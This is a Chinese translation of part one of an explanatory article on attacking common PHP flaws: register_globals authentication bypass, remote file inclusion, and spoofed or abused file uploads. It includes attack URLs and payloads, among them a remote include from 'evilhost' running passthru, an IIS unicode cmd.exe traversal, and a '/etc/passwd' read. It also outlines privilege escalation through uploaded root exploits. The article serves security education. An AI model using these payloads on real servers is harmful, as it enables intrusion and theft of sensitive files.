如何對(duì)PHP程序中的常見(jiàn)漏洞進(jìn)行攻擊（上）
翻譯：analysist（分析家）
來(lái)源：http://www.china4lert.org

如何對(duì)PHP程序中的常見(jiàn)漏洞進(jìn)行攻擊（上）

原著：Shaun Clowes <http://www.securereality.com.au/>
翻譯：analysist <http://www.nsfocus.com/>

之所以翻譯這篇文章，是因?yàn)槟壳瓣P(guān)于CGI安全性的文章都是拿Perl作為例子，而專(zhuān)門(mén)介紹ASP，PHP或者JSP安全性的文章則很少。Shaun Clowes的這篇文章比較全面地介紹了PHP的安全問(wèn)題，原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。

由于原文比較長(zhǎng)，而且有相當(dāng)一部分是介紹文章的背景或PHP的基礎(chǔ)知識(shí)，沒(méi)有涉及到PHP安全方面的內(nèi)容，因此我沒(méi)有翻譯。如果你想了解這方面的知識(shí)，請(qǐng)參考原文。

文章主要從全局變量，遠(yuǎn)程文件，文件上載，庫(kù)文件，Session文件，數(shù)據(jù)類(lèi)型和容易出錯(cuò)的函數(shù)這幾個(gè)方面分析了PHP的安全性，并且對(duì)如何增強(qiáng)PHP的安全性提出了一些有用的建議。

好了，廢話少說(shuō)，我們言歸正傳！

[全局變量]
PHP中的變量不需要事先聲明，它們會(huì)在第一次使用時(shí)自動(dòng)創(chuàng)建，它們的類(lèi)型也不需要指定，它們會(huì)根據(jù)上下文環(huán)境自動(dòng)確定。從程序員的角度來(lái)看，這無(wú)疑是一種極其方便的處理方法。很顯然，這也是快速開(kāi)發(fā)語(yǔ)言的一個(gè)很有用的特點(diǎn)。一旦一個(gè)變量被創(chuàng)建了，就可以在程序中的任何地方使用。這個(gè)特點(diǎn)導(dǎo)致的結(jié)果就是程序員很少初始化變量，畢竟，當(dāng)它們第一次創(chuàng)建時(shí)，他們是空的。

很顯然，基于PHP的應(yīng)用程序的主函數(shù)一般都是接受用戶(hù)的輸入（主要是表單變量，上載文件和Cookie等），然后對(duì)輸入數(shù)據(jù)進(jìn)行處理，然后把結(jié)果返回到客戶(hù)端瀏覽器。為了使PHP代碼訪問(wèn)用戶(hù)的輸入盡可能容易，實(shí)際上PHP是把這些輸入數(shù)據(jù)看作全局變量來(lái)處理的。

例如：

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很顯然，這會(huì)顯示一個(gè)文本框和提交按鈕。當(dāng)用戶(hù)點(diǎn)擊提交按鈕時(shí)，“test.php”會(huì)處理用戶(hù)的輸入，當(dāng)“test.php”運(yùn)行時(shí)，“$hello”會(huì)包含用戶(hù)在文本框輸入的數(shù)據(jù)。從這里我們應(yīng)該看出，攻擊者可以按照自己的意愿創(chuàng)建任意的全局變量。如果攻擊者不是通過(guò)表單輸入來(lái)調(diào)用“test.php”，而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no，那么，不止是“$hello”被創(chuàng)建，“$setup”也被創(chuàng)建了。

譯者注：這兩種方法也就是我們通常說(shuō)的“POST”和“GET”方法。
下面的用戶(hù)認(rèn)證代碼暴露了PHP的全局變量所導(dǎo)致的安全問(wèn)題：

<?php
  if ($pass == "hello")
    $auth = 1;
  ...
  if ($auth == 1)
    echo "some important information";
?>

上面的代碼首先檢查用戶(hù)的密碼是否為“hello”，如果匹配的話，設(shè)置“$auth”為“1”，即通過(guò)認(rèn)證。之后如果“$suth”為“1”的話，就會(huì)顯示一些重要信息。

表面看起來(lái)是正確的，而且我們中有相當(dāng)一部分人是這樣做的，但是這段代碼犯了想當(dāng)然的錯(cuò)誤，它假定“$auth”在沒(méi)有設(shè)置值的時(shí)候是空的，卻沒(méi)有想到攻擊者可以創(chuàng)建任何全局變量并賦值，通過(guò)類(lèi)似“http://server/test.php?auth=1”的方法，我們完全可以欺騙這段代碼，使它相信我們是已經(jīng)認(rèn)證過(guò)的。

因此，為了提高PHP程序的安全性，我們不能相信任何沒(méi)有明確定義的變量。如果程序中的變量很多的話，這可是一項(xiàng)非常艱巨的任務(wù)。

一種常用的保護(hù)方式就是檢查數(shù)組HTTP_GET[]或POST_VARS[]中的變量，這依賴(lài)于我們的提交方式（GET或POST）。當(dāng)PHP配置為打開(kāi)“track_vars”選項(xiàng)的話（這是缺省值），用戶(hù)提交的變量就可以在全局變量和上面提到的數(shù)組中獲得。

但是值得說(shuō)明的是，PHP有四個(gè)不同的數(shù)組變量用來(lái)處理用戶(hù)的輸入。HTTP_GET_VARS數(shù)組用來(lái)處理GET方式提交的變量，HTTP_POST_VARS數(shù)組用于處理POST方式提交的變量，HTTP_COOKIE_VARS數(shù)組用于處理作為cookie頭提交的變量，而對(duì)于HTTP_POST_FILES數(shù)組（比較新的PHP才提供），則完全是用戶(hù)用來(lái)提交變量的一種可選方式。用戶(hù)的一個(gè)請(qǐng)求可以很容易的把變量存在這四個(gè)數(shù)組中，因此一個(gè)安全的PHP程序應(yīng)該檢查這四個(gè)數(shù)組。

[遠(yuǎn)程文件]
PHP是一種具有豐富特性的語(yǔ)言，提供了大量的函數(shù)，使編程者實(shí)現(xiàn)某個(gè)功能很容易。但是從安全的角度來(lái)看，功能越多，要保證它的安全性就越難，遠(yuǎn)程文件就是說(shuō)明這個(gè)問(wèn)題的一個(gè)很好的例子：

<?php
  if (!($fd = fopen("$filename", "r"))
    echo("Could not open file: $filename<BR>\n");
?>

上面的腳本試圖打開(kāi)文件“$filename”，如果失敗就顯示錯(cuò)誤信息。很明顯，如果我們能夠指定“$filename”的話，就能利用這個(gè)腳本瀏覽系統(tǒng)中的任何文件。但是，這個(gè)腳本還存在一個(gè)不太明顯的特性，那就是它可以從任何其它WEB或FTP站點(diǎn)讀取文件。實(shí)際上，PHP的大多數(shù)文件處理函數(shù)對(duì)遠(yuǎn)程文件的處理是透明的。

例如：
如果指定“$filename”為“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
則上面的代碼實(shí)際上是利用主機(jī)target上的unicode漏洞，執(zhí)行了dir命令。

這使得支持遠(yuǎn)程文件的include()，require()，include_once()和require_once()在上下文環(huán)境中變得更有趣。這些函數(shù)主要功能是包含指定文件的內(nèi)容，并且把它們按照PHP代碼解釋?zhuān)饕怯迷趲?kù)文件上。

例如：
<?php
  include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一個(gè)在執(zhí)行代碼前已經(jīng)設(shè)置好的路徑，如果攻擊者能夠使得“$libdir”沒(méi)有被設(shè)置的話，那么他就可以改變這個(gè)路徑。但是攻擊者并不能做任何事情，因?yàn)樗麄冎荒茉谒麄冎付ǖ穆窂街性L問(wèn)文件languages.php（perl中的“Poison null byte”攻擊對(duì)PHP沒(méi)有作用）。但是由于有了對(duì)遠(yuǎn)程文件的支持，攻擊者就可以做任何事情。例如，攻擊者可以在某臺(tái)服務(wù)器上放一個(gè)文件languages.php，包含如下內(nèi)容：

<?php
  passthru("/bin/ls /etc");
?>

然后把“$libdir”設(shè)置為“http://<evilhost>/”，這樣我們就可以在目標(biāo)主機(jī)上執(zhí)行上面的攻擊代碼，“/etc”目錄的內(nèi)容作為結(jié)果返回到客戶(hù)的瀏覽器中。

需要注意的是，攻擊服務(wù)器（也就是evilhost）應(yīng)該不能執(zhí)行PHP代碼，否則攻擊代碼會(huì)在攻擊服務(wù)器，而不是目標(biāo)服務(wù)器執(zhí)行，如果你想了解具體的技術(shù)細(xì)節(jié)，請(qǐng)參考：http://www.securereality.com.au/sradv00006.txt

[文件上載]
PHP自動(dòng)支持基于RFC 1867的文件上載，我們看下面的例子：

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代碼讓用戶(hù)從本地機(jī)器選擇一個(gè)文件，當(dāng)點(diǎn)擊提交后，文件就會(huì)被上載到服務(wù)器。這顯然是很有用的功能，但是PHP的響應(yīng)方式使這項(xiàng)功能變的不安全。當(dāng)PHP第一次接到這種請(qǐng)求，甚至在它開(kāi)始解析被調(diào)用的PHP代碼之前，它會(huì)先接受遠(yuǎn)程用戶(hù)的文件，檢查文件的長(zhǎng)度是否超過(guò)“$MAX_FILE_SIZE variable”定義的值，如果通過(guò)這些測(cè)試的話，文件就會(huì)被存在本地的一個(gè)臨時(shí)目錄中。

因此，攻擊者可以發(fā)送任意文件給運(yùn)行PHP的主機(jī)，在PHP程序還沒(méi)有決定是否接受文件上載時(shí)，文件已經(jīng)被存在服務(wù)器上了。

這里我就不討論利用文件上載來(lái)對(duì)服務(wù)器進(jìn)行DOS攻擊的可能性了。

讓我們考慮一下處理文件上載的PHP程序，正如我們上面說(shuō)的，文件被接收并且存在服務(wù)器上（位置是在配置文件中指定的，一般是/tmp），擴(kuò)展名一般是隨機(jī)的，類(lèi)似“phpxXuoXG”的形式。PHP程序需要上載文件的信息以便處理它，這可以通過(guò)兩種方式，一種方式是在PHP 3中已經(jīng)使用的，另一種是在我們對(duì)以前的方法提出安全公告后引入的。

但是，我們可以肯定的說(shuō)，問(wèn)題還是存在的，大多數(shù)PHP程序還是使用老的方式來(lái)處理上載文件。PHP設(shè)置了四個(gè)全局變量來(lái)描述上載文件，比如說(shuō)上面的例子：

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后PHP程序開(kāi)始處理根據(jù)“$hello”指定的文件，問(wèn)題在于“$hello”不一定是一個(gè)PHP設(shè)置的變量，任何遠(yuǎn)程用戶(hù)都可以指定它。如果我們使用下面的方式：

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就導(dǎo)致了下面的PHP全局變量（當(dāng)然POST方式也可以（甚至是Cookie））：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表單數(shù)據(jù)正好滿(mǎn)足了PHP程序所期望的變量，但是這時(shí)PHP程序不再處理上載的文件，而是處理“/etc/passwd”（通常會(huì)導(dǎo)致內(nèi)容暴露）。這種攻擊可以用于暴露任何敏感文件的內(nèi)容。

我在前面已經(jīng)說(shuō)了，新版本的PHP使用HTTP_POST_FILES[]來(lái)決定上載文件，同時(shí)也提供了很多函數(shù)來(lái)解決這個(gè)問(wèn)題，例如有一個(gè)函數(shù)用來(lái)判斷某個(gè)文件是不是實(shí)際上載的文件。這些函數(shù)很好的解決了這個(gè)問(wèn)題，但是實(shí)際上肯定有很多PHP程序仍然使用舊的方法，很容易受到這種攻擊。

作為文件上載的攻擊方法的一個(gè)變種，我們看一下下面的一段代碼：

<?php
  if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻擊者可以控制“$theme”的話，很顯然它可以利用“$theme”來(lái)讀取遠(yuǎn)程系統(tǒng)上的任何文件。攻擊者的最終目標(biāo)是在遠(yuǎn)程服務(wù)器上執(zhí)行任意指令，但是他無(wú)法使用遠(yuǎn)程文件，因此，他必須得在遠(yuǎn)程服務(wù)器上創(chuàng)建一個(gè)PHP文件。這乍看起來(lái)好象是不可能的，但是文件上載幫了我們這個(gè)忙，如果攻擊者先在本地機(jī)器上創(chuàng)建一個(gè)包含PHP代碼的文件，然后創(chuàng)建一個(gè)包含名為“theme”的文件域的表單，最后用這個(gè)表單通過(guò)文件上載把創(chuàng)建的包含PHP代碼的文件提交給上面的代碼，PHP就會(huì)把攻擊者提交的文件保存起來(lái)，并把“$theme”的值設(shè)置為攻擊者提交的文件，這樣file_exists()函數(shù)會(huì)檢查通過(guò)，攻擊者的代碼也將執(zhí)行。

獲得執(zhí)行任意指令的能力之后，攻擊者顯然想提升權(quán)限或者是擴(kuò)大戰(zhàn)果，而這又需要一些服務(wù)器上沒(méi)有的工具集，而文件上載又一次幫了我們這個(gè)忙。攻擊者可以使用文件上載功能上載工具，把她們存在服務(wù)器上，然后利用他們執(zhí)行指令的能力，使用chmod()改變文件的權(quán)限，然后執(zhí)行。例如：攻擊者可以繞過(guò)防火墻或IDS上載一個(gè)本地root攻擊程序，然后執(zhí)行，這樣就獲得了root權(quán)限。

<未完待續(xù)>